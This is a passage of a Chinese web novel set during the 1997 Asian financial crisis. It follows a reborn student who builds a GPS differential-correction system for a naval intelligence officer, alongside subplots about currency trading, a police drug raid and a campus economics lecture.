电话那头接起来的时候,老洪已经坐在书桌前了。桌面上摆着一台传真机、一部电话、一沓印着酒店Logo的信纸。他报出了号码:“全部平仓。对,全部。市价。” 电话那头响起噼里啪啦敲键盘的声音。然后是等待。老洪握着听筒,手指在桌面上轻轻叩着。 “先生,已全部成交。” 他又问了几句话,对方报了成交均价。老洪从桌上拿起一张纸,把数字记了下来,挂掉电话,把那张纸拿在手里看了两遍,然后靠在椅背上,长长地呼出一口气。 算了一下,韩学涛那小子差不多赚了八百万人民币。而他自己的账户里,保守估计,也多了三百多万。八百万和三百万,差了一倍。同样的行情,同样的时间点,赚到的钱却差了这么多——他知道为什么。他用的杠杆比韩学涛小得多,虽然自己投入的本金更大,但一举就被年轻人超越了。 可他没什么遗憾的。 一个无儿无女的老头子,这些钱足够他用了。 骗了大半辈子,那些钱从来就不是“自己的”。骗来的钱总会用别的名目送出去,花在别的地方,或早或晚。有些给了不该给的人,有些填了不该填的窟窿,有些打了水漂。 他留不住钱。不是不能,是不会。那些年他把钱当成工具,当成账本上一个进进出出的数字,从来没有真正觉得那堆纸跟自己有什么关系。 但这三百万不一样。这不是骗来的。阳光照在那张白纸上,数字清清楚楚。 当然,要是没有以前那些年送出去的钱、买来的那些渠道,这一趟也不可能这么顺。 窗外忽然暗了下来。 一片乌云从远处飘过来,遮住了太阳,湄南河上的金光一下子没了,变成了一条灰蒙蒙的带子。雨说下就下,先是几滴砸在玻璃上,然后密密麻麻地连成了线,整个曼谷被一道雨帘罩住了。远处那些高楼大厦变得影影绰绰,像一张被水泡过的旧照片。 老洪叫了一份餐,看着曼谷的雨,慢条斯理地吃完了牛排,用餐巾擦了擦嘴,按下桌上的服务铃。 下楼的时候雨还在下。大堂门口停着一辆黑色奔驰,门童撑着伞把他送上车。他钻进后排座椅,说了一声:“机场。” 车开了。雨刷在挡风玻璃上来回摆动,把曼谷的街景切成一段一段的碎片。他靠在座椅上,闭着眼睛,没有说话。 下一站,印尼。 第175章 总局的决定 螺塘街派出所。 学习室的门关着,窗帘拉得严严实实。烟雾散不出去,在灯下灰蒙蒙一片。 马辉坐在最里面,刘小勇和余兵坐对面,三个人低着头,谁都不吭声。 田伟坐在门口那把椅子上,一根接一根地抽烟。烟灰缸里堆满了烟头,有的还冒着细烟。他靠在椅背上,整个人像被抽空了,连骂人的力气都没了。 沉默了很久。 马辉抬起头:“师傅,要不你骂两句?你这样不说话,我们难受。” 田伟仰头朝天花板上吐了口烟,语气里全是无奈:“小马啊,你行行好,放过我行不行?我想好了,回头就去找所长。你小马哥的师傅,我是当不了了。” 马辉急了:“师傅,一日为师,终身为父。我妈说过,拜了师父就得孝敬一辈子。” “别别别。”田伟连连摆手,“可别一辈子了,这一年我都受不了。以前你们干出点事,我还能帮你们背黑锅。现在你们闯的祸——”他顿了一下,“别说我,所长都背不动。” 马辉不服气:“师傅,我到底错哪儿了?专案组就是抓毒的。我昨晚抓的人,医院都验过了,没有一个冤枉的。就因为他们是什么矿务局的、棉一厂的,犯了法我就不能抓?” 田伟声音一下子大了:“人家厂里有警察,有保卫科,有公安处——轮得到你?” “可他们吸毒的地方在螺塘,在我们的辖区!”马辉也拔高了声音。 “那你提前请示了吗?哪个领导同意了?”田伟一巴掌拍在椅子扶手上,“找个借口把警车骗出去——马辉,你不是学生了,这是公安局!警察是纪律部队,得讲规矩。办案子不是拍电影!” 学习室又安静了。 刘小勇和余兵赶紧上来劝,一个拉胳膊,一个拍背。 田伟甩开两个人的手,站起来,椅子往后一仰差点翻过去。他扶着桌沿,喘了几口气,指着马辉说:“你还打着专案组的名义。这是直接把黑锅甩给了总局。行,待会儿总局来人,看他们怎么处理。” 他转过身,背对着马辉,语气忽然萧索下来:“马辉,师傅就这么大本事,连个所长都不是。你捅这么大的窟窿……师傅没法帮你补啊。” 严所长办公室里,烟雾比学习室还浓。 矿务局公安处程处长坐在沙发上,面前的茶一口没动。棉一厂肖副厂长坐在旁边,手在桌上轻轻叩着,一下一下的,像在等什么。 严所长压根不知道跑哪儿去了。 窗户外面,一辆黑色轿车停在了派出所门口。 不一会儿,付祥民推门进来。程处长和肖副厂长都站了起来。付祥民摆摆手,拉了把椅子坐下,不紧不慢地从包里摸出保温杯,拧开盖子,喝了一口。 程处长先开口,语气还算客气,但话很硬:“付局,兰局长态度很强硬。说专案组要是还这么搞,他只能向上反映了。” 肖副厂长跟着点头:“葛厂长也是这个意思。不是不配合,但这么大的行动,提前连个招呼都不打,我们很被动。” 付祥民把保温杯放下,目光在两人脸上扫了一圈,不急不慢地开口了:“你们的意思我明白——觉得我们管得宽了。” 他哼了一声。 “矿务局和棉一厂的子弟吸毒,总局专案组不能碰?你们想搞独立王国?” 程处长的脸色一下子变了,嘴唇动了动,没接上话。 付祥民没给他机会:“打招呼?我专案组的行动,凭什么跟你们打招呼?出了事,你们矿务局和棉一厂哪个领导愿意帮我背锅?回头我就去找兰局长和葛厂长,咱们一起去李书记那里评评理。看我老付哪点做错了——到时候我给你们写检讨。” 办公室里安静了。程处长和肖副厂长对视一眼,一时间都不知道该怎么接话。他们没想到付祥民态度这么强硬,心里直犯嘀咕。 这次被抓的人里头,有三个是厂领导的孩子,他们回去根本没法交代。可付祥民背后有政法委的李际全撑着,他自己又快退休了,没什么前途压力——跟这种人硬顶,不是找不痛快吗? 付祥民站起来,语气缓了半度,但压根不想退让:“这件事,专案组会处理好。你们回去跟兰局长和葛厂长说——老付我心里有数。” 把两人打发走了。付祥民走到学习室,严所长不知道什么时候已经站在门口了,朝他点了点头。付祥民也点了一下头,然后转向马辉。马辉站得笔直,眼睛盯着地板,大气都不敢出。 付祥民侧过身,面朝严所长和那几个跟过来的人说:“你们派出所这次立功了!总局特批,成立联防队。马辉任联防队长,以专案组名义,负责宁海部分娱乐场所的治安缉毒工作。” 田伟不知道什么时候从学习室出来了,正靠在走廊上抽烟。听到这话,手一抖,烟差点掉了。 他简直不敢相信自己的耳朵! 总局还真帮这小子背锅? 这小子到底什么关系? 这种事,换哪个基层警察都得倒大霉,到他这儿反而升了。联防队长,带的是编外人员,但这等于给了他一支自己的队伍——直接给他升职,那些干了七八年还没提干的老警察能服气?让他带联防队,名分不大,但有实权。这是让他绕过那些复杂的程序,直接在基层带兵。只要不出大乱子,等他干满三年,副所长的位置基本就是板上钉钉。 总局对这小子,是真照顾啊。 田伟把烟叼回嘴里,使劲吸了一口,烟短掉半截,心底也跟着热乎起来。 ... 另一边,宁海大学。 上午上了两节课,韩学涛被卢主任叫到了办公室。大师兄钟磊也在,靠在窗台上转笔,一副没睡醒的样子。 卢主任坐在办公桌后面,面前摊着几份材料,脸上的表情比平时舒展了不少。 “项目彻底做完了。你们两个队长表现不错,项目奖金随后发下去。”他目光从钟磊移到韩学涛脸上,“你们俩,每人三千八。” 钟磊把笔停了,随意点了点头。 韩学涛压根没说话。 “别嫌少。”卢主任说,“这个项目不是一锤子买卖。省测绘局联系我了,还有两个地级市的测绘局也打了电话。光咱们省,各个测绘局做下来,也够做一两年的了。” 钟磊转头看向韩学涛,笑着说:“两年?那我肯定已经离校了。这事儿以后就是小师弟的了。” 韩学涛也笑了:“当着老师的面我就不客气了。大师兄,你只要不是自立门户,我这边有什么问题,肯定还去找你。” 卢主任哈哈大笑,指着钟磊说:“大师兄喊得好。钟磊,我这个老师能力有限,你当大师兄的,以后下面的师弟师妹,你可要多照顾照顾。” 钟磊两手一摊:“老师,师弟好几个,但是师妹我可是一个没看见啊。” 卢主任愣了一下,笑得更厉害了:“哎哟,你打的是这个心思?早说嘛!你说你看中了谁,我给你招进来。” 钟磊连忙摆手:“别别别,您现在招进来也晚了,我在学校没几个月了。” 从办公室出来,走廊里没人。钟磊收了笑,拉住韩学涛的胳膊,声音低下来:“师弟,刚才在老师那儿没好问——现在项目做完了,你准备绕开老美SA的技术,弄得怎么样了?有没有什么想法?” 韩学涛略一沉吟,抬脚往前走:“大师兄,跟我去看个东西。” 两人穿过半个校园,进了留学生宿舍。韩学涛打开门,钟磊跟进来——第一眼看见那台电脑,第二眼看见桌上堆着的线缆和模块,第三眼就没空看别的了。韩学涛已经打开了电脑,屏幕上铺开一张地图。 钟磊平时那副玩世不恭的表情一下子没了。他弯着腰,双手撑在桌沿上,眼睛死死盯着屏幕,目光从左移到右,像是不敢相信自己看到了什么。 “小师弟,这是你自己一个人搞出来的?” 他惊呆了。 第176章 没有关系玩不转 韩学涛笑了一下:“大师兄你开玩笑了。这哪是我一个人能弄出来的?” 他坐下来,从头说。 测绘局的底层数据是基础,但那只是底子。真正的功夫,在路面上——跑街。 钟磊听到“跑街”两个字,眉头立刻皱了起来:“跑街?你怎么跑?没有过硬的手续,不可能让你做这么大规模的城市测绘。” 韩学涛从抽屉里拿出一个方块机,递过去:“我知道,所以用了一点变通的办法。” 他把免费送给出租车司机、三蹦子司机,每台机器里藏一个测绘模块,跑完了再回收的思路说了一遍。 钟磊拿着那个方块机翻来覆去地看,听完半天没说话。张了张嘴,最后只憋出一句:“还能这样?” 在他看来,韩学涛确实用到了很多人——出租车司机、三蹦子司机、拆机器的工人、写程序的他自己。但真正把这件事从头到尾串起来、一个人主导整个方向的,就是眼前这个小师弟。他原以为自己已经够高看韩学涛了,现在才发现,还是看低了。 他是个聪明人,立刻明白了韩学涛带他来看这个地图的意思。 “小师弟,你的目的,是想让我跟你一起去做系里和学校的工作,让你这个地图能够在市场上变现吧。” 韩学涛点头:“师兄明见。而且下面我要绕过SA的限制,也需要学校和系里的支持。” SA政策的纠偏需要基准站数据。以个人或私企身份去搞,叫“非法测绘”,叫“窃取无线电信号”。但挂靠在高校实验室名下,就变成了科研立项,名义上可以是“高精度卫星定位在城市环境下的误差分析”。 名头换一下,性质就完全不同了。 钟磊听完,直拍额头:“你也知道啊?你现在的行为已经很危险了。” 韩学涛笑了:“所以我这不求到大师兄帮忙了吗。” 他是真觉得这位大师兄跟卢主任的关系非同一般,比他自己跟卢主任的关系深得多。与其自己去找卢主任,不如先把大师兄拉到自己这边来。而且他能感觉到,大师兄对绕开老美SA这件事本身就很感兴趣——这就是可以合作的那个点。 “不行。”钟磊沉吟了一下。 韩学涛一愣:“为什么?” 钟磊皱着眉头,语气比刚才认真了不少:“小师弟,你虽然妖孽,但有些事情,你还是了解得不深。” “大师兄请讲。” “人没到那个层面,有些事情就不可能知道内情。不是你的问题,连老师都未必清楚。你去找他,他可能一口答应,但后面的事,他办不了。”钟磊看着他,顿了一下,“说句难听的,万一你这东西出了事,宁海大学都兜不住你。” 韩学涛的眉头皱了起来:“大师兄,你的意思是……” “你先别管我的意思。”钟磊摆了摆手,“小师弟,我先问你一句话,你心疼不心疼被分利润?” 韩学涛笑了一声:“这有什么好心疼的?天底下的钱,我一个人又赚不完。有钱大家赚。我一个人赚得再多,也不可能一天吃六顿饭。” 这次叫大师兄过来,本来就是抱着分利润的想法。这个市场不可能他一个人吃完,就算以后成立公司上市,也不可能就他一个股东。 “行,你有这个想法就好办了。” 钟磊看着他,微微点头。眼里多了一点东西,像是在重新打量眼前这个人,又像是在确认什么,“我给你介绍一个人。我堂哥,钟震。你这项目要接着往下做,没有军方的人进来,玩不转。” 军方? 韩学涛心中一动。 以前想不通的那些事,现在一下子串起来了。 难怪大师兄可以不经过卢主任就把当时提反对意见的另一个队长踢出去,简直是有恃无恐。难怪卢主任会说“我这个老师没什么本事,以后师弟师妹你多照顾”——这位大师兄的关系,是真硬。 也难怪他这么关心能不能绕过老美卡脖子的SA,原来是跟军方有关系。 他感觉心中豁然开朗,前面的路一下子打开了。想到未来不久就要出台的一个政策,他心中更笃定了——哪怕现在让出大部分利润,他一点也不担心,未来他有把握一举拿回来。 “大师兄,我这边没问题。”韩学涛站起来,语气干脆利落,“报效国家,我要把事情做成。钱不钱的,老实讲,我觉得没什么意义。” 钟磊看着他,点了点头。 “行,小师弟。你等我消息。” ... 钟磊动作很快。当天下午,韩学涛还在课堂上,就被他从教室叫了出来。 两人出了校门,路边停着一辆军绿色的吉普车。开车的年轻士兵板着脸,一言不发。韩学涛和钟磊上了后座,车门一关,车子便立刻启动。 钟磊往座椅上一靠,嘴就没停过:“我们去鳌头半岛,宁海水警区。我堂哥他们驻扎的地方就在那边的一个军事管制区里,隶属于海军……” 韩学涛只听着,不说话。 车子驶出市区,上了省道。开了一个多小时后,两旁的房屋越来越少,树木越来越多。又过了一阵,车子拐进一条岔路,路边开始出现铁丝网,间隔不远就挂着一块白底红字的牌子——“军事禁区”。 再开二十来分钟,前方出现了一道岗哨。 水泥墩、横杆、持枪的哨兵。司机减速,递上证件。哨兵弯腰往车里看了一眼,挥了挥手,横杆抬起,吉普车继续往里开。又过了一道岗哨,这次查得更严——登记姓名、单位、证件号码,每人发了一个临时通行牌挂在脖子上,才被放行。 里面的路修得很平整,两边是修剪齐整的灌木。远远能看见几栋灰白色的楼房,方方正正,窗户很小,楼顶的天线比寻常建筑多出一截。 操场边停着几辆蓝色军车,几个穿蓝色工作服的人蹲在旁边修车。海边有一排码头的轮廓,隐约能看见几条船停在那里,船身的漆剥落了不少,在海风里显得陈旧。楼顶和码头方向架着几组天线,被海风吹得微微晃动。 吉普车在一栋三层小楼前停下。灰色水泥墙面,没有任何标识。韩学涛和钟磊下了车,跟着那个士兵上了二楼,走到走廊尽头的一间办公室门口。士兵敲了敲门,里面传来一个声音:“进来。” 门被推开。办公室不大,一张办公桌,几把椅子。墙上挂着一幅海图,桌上摆着一部电话和几份文件夹。没有门牌,没有职务标识,也没有单位铭牌。 办公桌后面坐着一个穿军装的男人,正低头看文件,听见门响便抬起头来。 “二哥,我来了。”钟磊打了个招呼,然后介绍道,“这是我堂哥,钟震。” 钟震比钟磊大不少,看起来四十出头,上校军衔,身板笔直,不怒自威。但韩学涛很快发现,这位其实特别爱笑。 钟震看见钟磊,笑着从桌后走出来。又看见韩学涛,笑容更大了。他一句话没说,直接伸出手臂搂住了韩学涛的脖子,搂得结结实实,像是见了老熟人一样。一边搂着,一边回头冲钟磊说:“老四,这么帅的小伙子,跟着你们搞地质浪费了。要不我介绍他去海政文工团吧?” 钟磊一脸无奈:“二哥,能不能别闹?我们过来是跟你谈正事的。” 钟震歪着头看钟磊,脸上露出诧异的神色:“你说能绕过老美SA技术的,不会就是这位小师弟吧?” 韩学涛轻轻拨开钟震搭在自己肩膀上的手,语气很平静:“两位,能不能别演了?都把我带到情报中心来了,还能不知道我是谁?” 第177章 钟震的困扰 听到韩学涛的话,钟震愣了一下,脸上的笑容慢慢收了起来:“你怎么知道这是情报中心?” “楼顶上架着三四组天线,方向各不相同,频率应该也不一样,不是普通通信能用的;墙上挂的不是普通航海图,上面标的航线和坐标都加过密;办公桌上三部电话,颜色都不一样——内线、外线、专线,分得这么清楚,一般的指挥所都用不着这个阵仗。”韩学涛扫了一眼办公室,语气平平淡淡的,“能让我这么进来的,要么是政治部,要么是情报口。但政治部不会对GPS技术这么感兴趣,所以只能是情报中心。” 钟震听完,盯着他看了两秒,忽然笑了。他朝钟磊递了个眼神,点了点头:“厉害。老四跟我提你的时候,我还不怎么信——现在我倒是有点信心了。” 钟震在椅子上坐下来,也不绕弯子了,开门见山地说:“学涛,我也不瞒你。老美这个SA政策,对我们的影响很大。” 他是宁海水警区侦查情报中心主任,负责辖区内的海图测绘、情报收集和导航保障。 韩学涛一听就明白了——难怪大师兄这么着急要绕过SA,原来是替这位堂哥问的。SA把民用GPS精度从十米一下子降到了一百米的级别。 一百米在海上是什么概念? 水警区的猎潜艇在近海巡逻,原本靠GPS辅助能精准走位,现在误差拉到一百米,在复杂水域里跟踪敌方潜艇,一个大浪打过来,目标就丢了。 “导弹也是。”钟震竖起手指比划了一下,“GPS加末端雷达复合制导,SA导致的定位偏差,让导弹进入末端搜索阶段时,雷达扫描范围至少要扩大三分之一。探测范围大了,被干扰的概率也大了,命中率自然往下掉。再说海图测绘,我们负责东海近岸的水深测量和岛礁标定,以前用GPS快速校准,几天就能出一块海域的图。现在恢复光学测量——三个月的工作量,硬生生拖成一年。台海那边一旦有情况,情报更新速度跟不上,什么后果你想想。” 钟震靠在椅背上,目光灼灼地看着韩学涛:“学涛,我不喜欢绕弯子。你跟我说句实话,这个问题你有多大把握解决?我不是不讲道理的人,不会让你拍胸脯说百分百。但你得给我一个数字,让我心里有数。” 韩学涛没有急着回答。沉默了几秒,他反问了一句:“你们能给我提供岸基设备吗?如果可以的话,我很快就能给你一个数字。” 钟震微微点头,眼里多了一点赞许——没有把握的人不会这么问,上来就拍胸脯的,多半是不知道天高地厚。 “多快?” 韩学涛说:“三天。” 钟震和钟磊对视了一眼。 “可以。” ... 从水警区回来,韩学涛找到老谢:“帮我请三天假。” 老谢疑惑了一下,没问为什么,点了点头。 韩学涛直接扎进了留学生宿舍,准备把程序做出来。 有了钟震提供的岸基设备,他要做的就是一套差分修正算法。目标很简单——实时计算GPS卫星的伪距误差,把老美那个SA政策人为加上的干扰剥掉。 这套东西,从他第一天选这个专业的时候就开始想了。在图书馆冯老师那边听到的麻省理工学院的GPS相关课程,为他推开了那扇门。 会者不难,难者不会。对他而言,现在已经是水到渠成的事。 凌晨三点,他盯着屏幕上跳动的数据,脑子里忽然冒出一个名字——马斯克。那家伙比自己大几岁,现在也在做地图,当核心程序员,第一次创业。后来马斯克做大之后,跟军方的关系相当密切,从SpaceX到星链,哪一样离得开军方订单? 韩学涛有时候甚至想,那家伙该不会也是重生的吧? 他摇了摇头,把杂念甩掉,继续敲键盘。 熬了两个大夜,程序骨架搭起来了。调试了几轮,他觉得差不多了——以后可以慢慢完善,但主体框架已经能跑了。 钟磊听说他搞定了,眼睛瞪得溜圆:“这么快?” “不是第一天在想了。”韩学涛说,“之前我就一直在弄。要不然怎么敢跟你二哥说三天?” 钟磊还在实验室做实验,脚上还套着一双拖鞋。听完这话,实验也不管了,弯腰换鞋,急得跟火烧了屁股似的。实验室里几个人目瞪口呆地看着他拉着韩学涛就往外走,谁都没反应过来,然后就集体懵逼了——你走了,实验怎么办?谁管管我们啊! 再次到了水警区,这次不一样了。 车子刚进大门,钟震已经站在楼下等了。他穿着一身作训服,袖子卷到小臂,看见车停下来,几步走过来,直接拉开车门:“学涛,跟我走。”没有客套,没有寒暄,转身就上了前面那辆吉普车。 两辆车一前一后,穿过营区,往半岛深处开。韩学涛透过车窗往外看——路越走越偏,两边从营房变成了灌木,又从灌木变成了光秃秃的礁石。钟震的车在前面带路,遇到岗哨摇下窗户说一句话就过,连登记都不用。 开了二十来分钟,车子停在一座小山包下面。山上立着几座天线塔,铁丝网围了一圈,门口有哨兵。钟震下了车,朝韩学涛招了招手:“灵峰雷达站。你需要什么设备,直接从库里调。” 哨兵敬了个礼,拉开铁门。钟震走在前面,一边走一边说:“天线、接收机、工控机,你要什么我给什么。三天时间,这里的一切你说了算。” 韩学涛跟在他身后,心里暗暗点头。这位钟二哥做事比他想象的还要干脆。 天台上,海风很大。韩学涛蹲在地上,把那套金属外壳的GPS接收机接在军方那枚刻着“1979年总参测绘局”的铜质基准点上。 天线用三脚架架在一米五高的水平支架上,避开了雷达站的微波盲区。旁边放着一台386工控机,屏幕闪着绿色的DOS光标,串口线扯出去连到一台十五瓦的VHF数传电台。电台天线缠在旧烽火台的石缝里,频率已经提前调到了情报中心批的223.45兆赫兹跳频段。 港口那边,一辆军用吉普的驾驶台接了一个巴掌大的差分接收模块,用屏蔽线连到原有的GPS导航仪接口。 旁边架了个临时的显示屏,同步显示原始GPS坐标和修正后的坐标。 钟震安排了两个装备科的士官守在车上,全程不许碰任何按键,只负责报数据。 准备工作就做了一天半! 一切就绪。韩学涛蹲在工控机前,手指在键盘上敲了一行命令。 屏幕刷新,八颗GPS卫星的PRN编号跳了出来。每颗后面跟着一行跳动的伪距误差值,从0.2米到87米不等——那是SA政策人为加上的抖动。 “现在民用GPS的误差最大能到一百米。我的算法每0.5秒算一次各星的钟差和电离层误差,打包成RTCM格式的电文播出去。舰艇上的模块收到就能实时修正。” 话音刚落,电台的发射灯开始规律闪烁。 港口那边,士官的声音从对讲机里传出来,带着一种压不住的兴奋:“原始坐标北纬29°47′23.12″,东经121°52′48.56″。修正后——北纬29°47′22.87″,东经121°52′47.93″。和我们预先测的艇位误差——3米!” 钟震站在旁边,没有吭声。他握着对讲机的手指微微收紧了一下,随即又松开,脸上没什么表情,只是下巴绷起,喉结不明显地动了动——那是咽了一口唾沫。 韩学涛没停。他调出另一个界面,转头对雷达站的兵说:“开同频干扰。” 雷达站那边启动了一个同频干扰源。普通民用GPS的坐标开始飘,十几秒的功夫就飞到了120米外,在屏幕上像一只无头苍蝇一样乱撞。而修正后的坐标,依旧稳稳地卡在3~5米的范围内,屏幕上那条滤波曲线几乎是一条直线,纹丝不动。 钟震的目光从屏幕移到那根纹丝不动的滤波曲线上,瞳孔缩了缩。右手插进作训服口袋,指尖在里头不停地捻——那是他紧张时才有的小动作。 韩学涛又敲了一行参数,调出坐标转换模块。修正后的WGS84坐标自动转换成了首都54坐标系。他朝钟震抬了抬下巴:“对一下你们的海图。” 钟震走过去,看了一眼屏幕上的数字,又看了一眼手里的绝密海图。小数点后两位,一模一样。 他把海图合上,动作不紧不慢,合得严严实实,嘴角绷了一下,很快又松开了,像是想笑,又硬生生把那个笑给咽了回去。最后只是点了点头,声音比平时低了一点:“嗯。” 就这么一个字。但站在他身后的钟磊注意到,二哥接过海图的那只手,指尖是微微发颤的。 而就在这时,蹲回工控机前的韩学涛,盯着屏幕上跳动的伪距残差,忽然伸出了手。 第178章 电子战夺权 韩学涛指着卫星数据:“钟处,看好这颗。三分钟内,它的误差会从二十米飙到一百五十米以上。” 钟震没说话,走到屏幕前,盯住那颗星。 两分钟后,原始信号剧烈抖动——二十米、五十米、一百米,然后直冲一百五十米。一秒不差。修正后的坐标纹丝不动,曲线笔直,仿佛一面墙,挡住了来袭的风浪。 “你怎么知道的?”钟震猛地转身,震惊地看着韩学涛,表情与他平时笑呵呵又吓人的样子极不搭调,甚至有点滑稽。 韩学涛笑笑,敲了几下键盘,调出残差分析界面。 屏幕上显示出卫星信号的信噪比曲线,锯齿状的,密密麻麻。 “SA政策就是在卫星钟差里加高频随机噪声。我这套算法不是简单加减,而是利用基准站已知位置,反推每一秒的伪距改正数。”韩学涛指着曲线,“我不只能修正误差,还能预判他们的干扰节奏。一旦识破抖动算法模型,这套系统就有了免疫力。” 他站起来,揉了揉膝盖,微笑看着钟震:“这不叫测绘。这叫电子战夺权。” “电子战夺权……”钟震慢慢咀嚼,眼睛一点一点亮了起来。 ... 亚洲金融危机的风暴,从泰国爆发后,就没停过。 马来西亚放弃了保卫林吉特。汇率应声下跌——像一栋被抽掉了承重墙的楼,从顶层开始,一层一层往下塌。泰铢贬值引发的恐慌,像瘟疫一样蔓延。菲律宾比索、印尼盾持续承压,连一向稳健的新加坡元,也头一回遭到冲击。 东南亚几个核心国家,接连失守。 报纸上的标题,一天比一天刺眼。头版从“泰铢暴跌”变成“马币崩盘”,又从“马币崩盘”变成“印尼盾告急”。字越来越小,事越来越大。电视新闻里,雅加达的银行门口排着长队,马尼拉的外汇交易所挤满了人,吉隆坡的商场里,有人推着购物车往外搬货——不是囤积,是钱不值钱了。拿到手,就得花出去。 韩学涛最近一边跑水警区,一边盯着新闻。 每天晚上,他都要把当天的报纸翻一遍,国际版从头读到尾。老洪那边的电话,也越来越频繁。 老洪现在不一样了。不再是那个从大陆过来、等着女儿结婚生孩子的退休老教师了。他在吉隆坡和雅加达的华人圈里,成了赫赫有名的洪老板、洪大亨、洪大善人。支票本不离手,到处收购那些从银行取不出来的存单——折扣低得吓人,有的只剩两成,有的还不到两成。 那些存单的主人,有的是小商贩,有的是工厂主,有的是在东南亚打拼了一辈子的华侨。他们的钱锁在银行里,取不出来。工厂要发工资,孩子要交学费,病人要付医药费。银行却告诉他们——取款限额,每天只能拿一点点。像从干涸的井里一桶一桶提水,提上来的,还不够润湿桶底。 老洪的支票递过去的时候,有人哭,有人骂,有人握着他的手不肯放。可不管怎样,钱拿到手了,命保住了。折扣虽然低,但总比锁在银行里,变成一串看得见摸不着的数字强。 老洪其实不明白,为什么要这么干。 风险太大了。金融危机背景下,银行倒闭是大概率事件,那些存单很可能变成一堆废纸。收购价格再低,万一打了水漂,也不是一笔小钱。 在老洪看来,远不如跟着去做空其他国家的货币来得保险。但他没有多问。韩学涛让他做,他就做了,甚至要做得更好。毕竟“老洪”两个字,在江湖上就是信誉。 他有时候想,这小子到底哪来的把握?但他已经不想问了。做事情就是这样,相信就去做,理由往往并不重要。 亚洲金融危机的影响,在宁海大学的校园里,也开始悄悄渗透。 周一,导员走进203寝室,拍了拍手。 “周三有个跟地质系相关的公开课演讲,自愿参加。不过既然跟专业息息相关,大家最好还是去捧个场。” 导员说,演讲人是印尼万隆理工学院的地质专家,这次来宁海大学做学术交流,讲的是东南亚矿产资源开发与地质勘探。 把时间和地点念了一遍,导员就走了。 寝室里没什么人感兴趣。老谢作为寝室长,肯定跑不了,其他人都不去。 韩学涛想了想:“那我去听听吧。” 周三,韩学涛拿着本子往公教室走。走到篮球场边上,老谢迎面走过来。 “学涛,别去了。讲座取消了。” 韩学涛脚步一顿:“为啥?” “不知道。不过换了一个讲座,经管系那边的。导员没通知咱们。”老谢耸耸肩。 韩学涛站在篮球场边上,犹豫了一下。经管系的讲座,他没什么兴趣。正想着去图书室坐一会儿,身后有人喊他。 “韩学涛!” 他回过头。生活服务部旁边那棵老槐树底下,高洋站在那里,正朝他招手。她身边蹲着一个人,双手捂着肚子,头埋得很低。 韩学涛走过去,看清了——蹲着的是孙婷婷。她脸色发白,嘴唇没什么血色,额前的碎发贴在皮肤上,整个人缩成一团。 韩学涛瞥了她一眼,没多问,转向高洋:“怎么了?” 高洋语气有点急:“我们本来要去听讲座占座的,她突然不舒服。我得带她去一趟医务所——你能不能帮我们去公教室占个座?” 老谢也跟过来了,看见孙婷婷蹲在地上那个样子,热心肠地凑上来:“要不要帮忙?” 高洋连忙摆手,脸上的表情有点不自在:“不用不用,男生不太方便。” 老谢立刻闭嘴了,退了两步。韩学涛看了一眼蹲在地上的孙婷婷,心里大约明白是怎么回事了。 这孙婷婷平时脾气就不好,这会儿更是不想往上凑。他本来想拒绝,但看了一眼高洋——高洋正在跟李靖处对象,他跟李靖关系不错。看在李靖的面子上,这点小忙,不太好意思推。 “行。”韩学涛说,“我去给你们占座。” 第179章 讲座 韩学涛接过高洋递来的一摞本子,去往公教室。推开门,里面稀稀拉拉坐了几个人,前面空着大半。 他扫了一眼,第四排有一长串空位,便走过去,一本一本往座位上放,从靠窗一直摆到中间,然后自己在最边上坐下来,翻开本子,等人来了就走。 但没想到,第一个来的是展雪。 她背着帆布书包,手里拿着一瓶水,看见韩学涛时明显愣了一下。“你怎么在这儿?高洋她们呢?” 韩学涛把高洋和孙婷婷的事说了一遍,语气有些无奈。 展雪听完笑了,把书包往旁边座位上一放,人也坐下了:“那你来了就跟着听听呗。” 韩学涛没说什么。慢慢地,人越来越多。405寝室的女生陆续到了,冲韩学涛点了点头。最后掐着点儿,高洋和孙婷婷也来了。孙婷婷脸色好了不少,虽然还有点白,但至少能走了。韩学涛心想,等再过几年,这也就是一片布洛芬的事儿。 讲座开始了。台上站着的是首都经贸大学的一位教授,头发梳得一丝不苟,讲的是眼下正热得发烫的话题——亚洲金融危机。 韩学涛靠在椅背上,心想难怪他们地质系的讲座被挤掉了。港岛回归的热度刚过,亚洲金融危机的热度直线飙升。说实在的,地质系的讲座可能真没什么人听,这个就不一样了。整个公教室坐得满满当当,过道上摆满了从别的教室搬来的凳子,还有不少人站着,手里拿着本子。 教授开口了,声音不大,但中气挺足,不用话筒也能让最后一排听清楚。 他先讲泰国怎么倒下的,又讲马来西亚怎么撑不住的,语气不急不慢,像个老中医在号脉。讲着讲着,话题转到了结论上。 “亚洲金融危机发展到现在这个阶段,坦率地说,基本上已经进入尾声了。 为什么我敢下这个判断?三个原因,我们一个一个拆。 第一,东南亚各国的基本面,没有被摧毁。很多人被恐慌情绪带跑了,以为天要塌了。但你去看数据——国际贸易这几年一直在增长,这是实打实的增量。外汇储备是烧掉了不少,但底子还在。什么叫底子?就是你还能喘得过这口气,你不至于崩盘。 第二,国际炒家的战术目标,已经兑现了。你要理解一个基本逻辑——索罗斯们不是来搞革命的,他们是来赚钱的。泰铢、林吉特、印尼盾,都跌到了他们事先画好的线上。该平仓的平仓,该离场的离场。人家已经收工了,你还在那儿喊‘他们要来了’,这就不客观了。 第三,也是最具决定性的一个因素——情绪层面的恐慌,已经释放得差不多了。金融危机的本质是什么?不是基本面一夜之间垮了,而是信心突然断了。现在最慌的那批人已经出局了,剩下的参与者开始重新看数据、看估值、看真实回报。市场,正在从‘恐惧驱动’切换回‘理性驱动’。 所以很多人问我:这场危机会不会蔓延到我们这里? 我在这里把话说清楚——绝无可能。 南韩可能会受到一些波及,那是它的外部敞口和债务结构决定的,这个我不替他们乐观。但是港岛?你可以把心放在肚子里。除非这些国际炒家集体丧失理性判断能力,否则他们没有动机、也没有胜算去攻击一个有强大外汇储备作为压舱石的经济体。这不是什么民族情绪,这是一个再简单不过的数学问题——你打不动,你就不会打。” 台下响起一片掌声。 韩学涛靠在椅背上,嘴角动了一下。他转头看了一眼展雪——她黑着个小脸,嘴唇抿着,眉头微皱,一副很不高兴的样子。 “怎么了?”韩学涛奇怪地问。 展雪的目光还在台上,哼了一声:“没什么。就是觉得这教授讲得挺好。” 韩学涛心想,你这副样子像是觉得挺好的吗?他脑子里忽然冒出一个念头——展雪该不会也来小日子了吧?据说女生住在一起,周期会同频,好像是有这么个研究。 展雪忽然转过头来:“你觉得呢?” 韩学涛说:“我不懂。我又不是经贸系的,今天过来纯粹是打酱油。” “你这人真没劲。让你说你就说,又不是考试,说错了还能让你重修咋的?”展雪不满道。 